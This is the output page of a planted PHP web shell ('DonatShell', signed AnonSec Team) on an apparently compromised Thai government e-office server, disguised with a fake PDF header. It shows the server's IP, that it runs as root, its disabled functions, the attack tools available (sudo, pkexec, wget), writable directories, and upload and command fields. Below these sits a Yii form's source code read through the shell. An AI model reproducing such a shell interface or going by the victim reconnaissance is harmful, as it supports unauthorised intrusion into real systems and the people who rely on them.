%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,mail,shell_exec,system,proc_open,popen,ini_alter,dl,proc_close,curl_exec,curl_multi_exec,readfile,parse_ini_file,escapeshellarg,escapeshellcmd,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,mail,php_uname,phpinfo
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/eoffice/frontend/modules/ordernum2/views/default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/eoffice/frontend/modules/ordernum2/views/default/form.php
<?php

use yii\helpers\Html;
use kartik\widgets\ActiveForm;
use yii\helpers\ArrayHelper;
use yii\helpers\Url;
use dosamigos\datepicker\DatePicker;
use backend\modules\departments\models\Departments;
use backend\modules\ordernum2\models\Ordernum2;

/* @var $this yii\web\View */
/* @var $model backend\modules\ordernum\models\Ordernum */
/* @var $form yii\widgets\ActiveForm */
$asset = new backend\theme\MetronicAsset();
$asset::register($this);
$directoryAsset = Yii::$app->assetManager->getPublishedUrl($asset->sourcePath);
$list = [0 => 'Morning', 1 => 'Noon', 2 => 'Evening'];

//เช็คปีใหม่ แล้วรีเซ็ตเลขที่คำสั่ง
$date1 = ordernum2::find()->orderBy('id DESC')->limit(1)->one(); //หาข้อมูล Last record
$yearnow = Yii::$app->formatter->asDate('now', 'yyyy'); //ปีปัจจุบัน
//$yearnow = 2022;
$yearold = Yii::$app->formatter->asDate($date1->date, 'yyyy'); //ปีของ Last record

if ($yearnow > $yearold) {
    $next = 1;
} else {
    //$next = ordernum2::find()->select(['num' => '( MAX(`num`)+ 1) '])->one()->num;
	$next = $date1->num + 1;
}

//$dateold = date("Y-m-d", strtotime('-1 day'));

$timecut = '09:00:00'; //กำหนดเวลาเริ่ม
$timestamp = time(); // ไว้เช็ควันจันทร์
$timenow = date("H:i:s"); //เวลาปัจจุบัน
$timeon = '06:00:00'; //เวลาเปืดระบบ
$timeout = '18:00:00'; //เวลาปิดระบบ
$dayout = array('Sat', 'Sun'); //วันที่ปิดระบบ
//if(date('D', $timestamp) === 'Wed') {
if (date('D', $timestamp) === 'Mon') {
    $dateold = date("Y-m-d", strtotime('-3 day'));
} else {
    $dateold = date("Y-m-d", strtotime('-1 day'));
}
?>
<div class="m-divider">
    <span></span>
    <h3 class="bg-light m--padding-20">ออกเลขประกาศ</h3>
    <span></span>
</div>
<?php if ($timenow > $timeon & $timenow < $timeout) { ?>
    <?php if (!in_array(date('D', $timestamp), $dayout)) { ?>
        <div class="ordernum-data-form">
            <div class="m-portlet">
                <?php
                $form = ActiveForm::begin([
                            'type' => ActiveForm::TYPE_HORIZONTAL,
                            'formConfig' => [
                                'labelSpan' => 3,
                                'deviceSize' => ActiveForm::SIZE_SMALL
                            ],
                            'fieldConfig' => [
                                'template' => '<div class="row">{label}{beginWrapper}{input}{error}{endWrapper}</div>',
                                'errorOptions' => [
                                    'encode' => false,
                                    'class' => 'help-block'
                                ]
                            ],
                ]);
                ?>
                <div class="row m-row--no-padding m-row--col-separator-xl">
                    <div class="col-md-8">
                        <div class="m-widget1">
                            <?php if (!$model->isNewRecord) { ?>
                                <h2 style="font-weight: bold">แก้ไขเลขประกาศ</h2>
                                <hr>
                                <?= $form->field($model, 'num')->textInput(['readonly' => true, 'maxlength' => true, 'style' => 'height:40px;font-size:25px;font-weight: 600;text-align: center;']) ?>
                            <?php } else { ?>
                                <h2 style="font-weight: bold">เพิ่มเลขประกาศ</h2>
                                <hr>
                                <?= $form->field($model, 'num')->textInput(['readonly' => true, 'maxlength' => true, 'style' => 'height:40px;font-size:25px;font-weight: 600;text-align: center;', 'value' => $next])->label('เลขที่ (ถัดไป)') ?>
                            <?php } ?>
                            <?php
//                    echo $form->field($model, 'date')->widget(DatePicker::ClassName(), [
//                        'inline' => false,
//                        'addon' => '<i class="la la-calendar-check-o"></i>',
//                        'template' => '{addon}{input}',
//                        'options' => ['placeholder' => '', 'readonly' => 'readonly'],
//                        'value' => date('Y-m-d'),
//                        'language' => 'th',
//                        'clientOptions' => [
//                            'autoclose' => true,
//                            'format' => 'yyyy-mm-dd',
//                            'todayHighlight' => true,
//                        ],
//                    ]);
                            ?>

                            <?=
                            $form->field($model, 'department')->dropDownList(
                                    ArrayHelper::map(Departments::find()->where(['NOT', ['id' => [12]]])->all(), 'id', 'name'), [
                                'prompt' => 'กรุณาเลือกหน่วยงาน',
                            ]);
                            ?>

                            <?= $form->field($model, 'title')->textarea(['rows' => 6]) ?>
                            <?= $form->field($model, 'name')->textInput(['maxlength' => true]) ?>
                            <?= $form->field($model, 'reCaptcha')->widget(\himiklab\yii2\recaptcha\ReCaptcha::className()) ?>
                            <?= $form->field($model, 'file', ['options' => ['tag' => false]])->hiddenInput()->label(false); ?>
                            <?= $form->field($model, 'created_at', ['options' => ['tag' => false]])->hiddenInput()->label(false); ?>
                            <?= $form->field($model, 'updated_at', ['options' => ['tag' => false]])->hiddenInput()->label(false); ?>
                            <?= $form->field($model, 'status', ['options' => ['tag' => false]])->hiddenInput()->label(false); ?>
                        </div>
                    </div>
                    <div class="col-md-4">
                        <div class="m-widget1">
                            <h2 style="font-weight: bold; text-align: center">เวลาปัจจุบัน</h2>
                            <hr>
                            <?php if ($timenow > $timecut) { ?>
                                <p style="text-align: center;font-weight: 500;color:blue">เนื่องจากเวลาเกิน <?= $timecut ?> จะลงเป็นวันที่</p>
                                <p style="text-align: center;font-weight: 700;"><?= Yii::$app->formatter->asDate(date("Y-m-d"), 'long'); ?></p>
                                <hr>
                            <?php } else { ?>
                                <p style="text-align: center;font-weight: 500;color:red">เนื่องจากยังไม่ถึงเวลา <?= $timecut ?> จะลงเป็นวันที่</p>
                                <p style="text-align: center;font-weight: 700;"><?= Yii::$app->formatter->asDate($dateold, 'long'); ?></p>
                                <hr>
                            <?php } ?>

                            <div class="digital_clock_wrapper">
                                <div id="digit_clock_time"></div>
                                <div id="digit_clock_date"></div>
                            </div>

                        </div>
                        <div class="m-widget1"></div>
                    </div>
                    <div class="col-xl-12">
                        <div class="form-group">
                            <?php if (!$model->isNewRecord) { ?>
                                <div class="m-portlet__body  m-portlet__body--no-padding">
                                    <div class="row m-row--no-padding m-row--col-separator-xl">
                                        <div class="col-xl-6">
                                            <div class="m-widget1">
                                                <?=
                                                Html::a('<span class="glyphicon glyphicon-remove"></span> ลบข้อมูล', ['delete', 'id' => $model->id], [
                                                    'class' => 'btn btn-lg btn-block btn-danger m-btn m-btn--custom',
                                                    'data-pjax' => '0',
                                                    'data' => [
                                                        'confirm' => '<h3 style="font-weight: bold;" class="text-center">คุณต้องการลบข้อมูล เลขที่คำสั่ง</h3><hr /><h5 style="font-weight: bold;">' . 'เลขที่ : <font style="color:blue">' . $model->num . '</font><h5 style="font-weight: bold;">',
                                                        'method' => 'post',
                                                    ],
                                                    'data-toggle' => 'tooltip',
                                                    'title' => 'ลบข้อมูล',
                                                ]);
                                                ?>
                                            </div>
                                        </div>
                                        <div class="col-xl-6">
                                            <div class="m-widget1">
                                                <?= Html::submitButton('บันทึก', ['class' => 'btn btn-lg btn-block btn-success']) ?>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            <?php } else { ?>
                                <div class="col-xl-12">
                                    <div class="m-widget1">
                                        <?= Html::submitButton('บันทึก', ['class' => 'btn btn-lg btn-block btn-success']) ?>
                                    </div>
                                </div>
                            <?php } ?>
                        </div>
                    </div>
                </div>
                <?php ActiveForm::end(); ?>
            </div>
        </div>
    <?php } else { ?>
        <div class="alert m-alert--default" role="alert" style="text-align: center;">
            ขณะนี้ ระบบปิดการใช้งาน จะเปิดระบบอีกครั้ง เวลา 06.00 น. - 18.00 น. ในวันราชการ
        </div>
    <?php } ?>

<?php } else { ?>
    <div class="alert m-alert--default" role="alert" style="text-align: center;">
        ขณะนี้ ระบบปิดการใช้งาน จะเปิดระบบอีกครั้ง เวลา 06.00 น. - 18.00 น. ในวันราชการ
    </div>
<?php } ?>

Anon7 - 2022
AnonSec Team